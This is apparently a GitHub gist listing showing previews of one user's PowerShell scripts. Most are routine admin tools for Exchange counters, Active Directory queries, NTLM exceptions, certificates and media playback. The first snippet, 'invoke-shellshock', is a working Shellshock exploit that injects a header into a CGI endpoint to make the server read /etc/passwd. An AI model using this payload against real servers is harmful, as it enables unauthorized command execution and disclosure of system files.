This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function invoke-shellshock($server) | |
{ | |
(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "} -Method post).rawcontent | |
#(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/ls . "} -Method post).rawcontent | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function play(){ | |
$var = getstate | |
if($var -eq "Paused") | |
{ | |
$play='<?xml version="1.0" encoding="utf-8"?> | |
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> | |
<s:Body> | |
<u:Play xmlns:u="urn:av-openhome-org:service:Playlist:1" /> | |
</s:Body> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$RPC =Get-Counter "\MSExchange RpcClientAccess\User Count" -computername "srv1" | |
$OWA =Get-Counter "\MSExchange OWA\Current Unique Users" -computername "srv1" | |
$POP = Get-Counter "\MSExchangePop3(1)\Connections Current" -ComputerName "srv1" | |
$IMAP = get-counter "\MSExchangeImap4(1)\Current Connections" -ComputerName "srv1" | |
$csa=New-Object PSObject -Property @{ | |
Server = srv1" | |
"rpc" = $RPC.CounterSamples[0].CookedValue | |
"owa" = $OWA.CounterSamples[0].CookedValue | |
"pop" = $POP.CounterSamples[0].CookedValue | |
"imap" = $IMAP.CounterSamples[0].CookedValue |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#get a list from ad with all windows server 2003 and 2003 r2 machines | |
$list= get-ADComputer -Filter {OperatingSystem -Like "Windows Server*2003*"} | |
#intantiate an empty array | |
$hashlist=@{} | |
$admin=get-credential | |
#connect to each computer, get the file, and select it's version | |
foreach($computer in $list){ | |
$answer = Get-WMIObject -Computer $computer.DNSHostName -credential $admin -Query "SELECT * FROM CIM_DataFile WHERE Drive ='C:' AND Path='\\windows\\system32\\' AND FileName='crypt32' AND Extension='dll'" | select Version | |
#create a hashlist | |
$hashlist[$computer]=$answer |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
Script to find AD, find the known registered Service Connection Point's, an list some information about them. | |
detects dns domain on the network you're on | |
tries to detect default domain from dns server | |
connects to AD, get information about AD RMS, Exchange (possible to add others!) | |
#> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# get all mondays, wednesdays and fridays of december | |
[int]$Month = '12' | |
[int]$Year = '2015' | |
# days not worked in december | |
$exceptions = @(9,11,13) | |
$alldays = @() | |
0..31 | ForEach-Object -Process { | |
$evaldate = (Get-Date -Year $Year -Month $Month -Day 1).AddDays($_) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import the ACMEsharp module - https://github.com/ebekker/ACMESharp | |
#more info: https://github.com/ebekker/ACMESharp/wiki/Quick-Start | |
import-module .\ACMESharp\ACMESharp.psd1 | |
#set global variables | |
$date = "$(get-date -format yyyy-MM-dd--HH-mm)" | |
$dnsname1 = "dns1-$date" | |
$dnsname2 = "dns2-$date" | |
#DirectAdmin and FTP credentials | |
$Username = "fancyusername" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# used together with the Windows security policy "Network security: Restricit NTLM. | |
# if all NTLM is blocked, a computer becomes pretty useless, so this script to create exceptions based on failed connections from the NTLM log | |
# Adds exception to Network security: Restricit NTLM: Add remote server exceptions for NTLM authentication | |
function add-ntlmexception | |
{ | |
$event = Get-WinEvent -FilterHashTable @{LogName='Microsoft-Windows-NTLM/Operational'; ID = 4001} -maxevents 1 | |
$newexception = ((([xml]$event.toxml()).Event.EventData.Data) | ?{$_.name -eq "targetname"}).'#text' | |
$regpath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" | |
$regname = "clientallowedntlmservers" | |
$currentvalues = (Get-ItemProperty $regpath).$regname |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#tSF for Cronos | |
#10 december 2014 | |
#11/12/2014:added tSF production api key | |
#api overview in doc on https://timesheetservicetest.cronos.be/ | |
#overview @ https://timesheettest.cronos.be | |
############################################################################ | |
[CmdletBinding()] | |
Param( | |
# [Parameter(Mandatory=$True)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Mendel's PowerShell profile | |
# https://gist.github.com/mendel129/33bc020d25efd813950eabc56be373a9 | |
set-alias -name npp 'C:\Program Files\Notepad++\notepad++.exe' | |
set-alias -name edit 'C:\Program Files\Notepad++\notepad++.exe' | |
set-alias -name notepad 'C:\Program Files\Notepad++\notepad++.exe' | |
set-alias -name wireshark "C:\Program Files\Wireshark\Wireshark.exe" | |
$profilepath = $env:USERPROFILE |
OlderNewer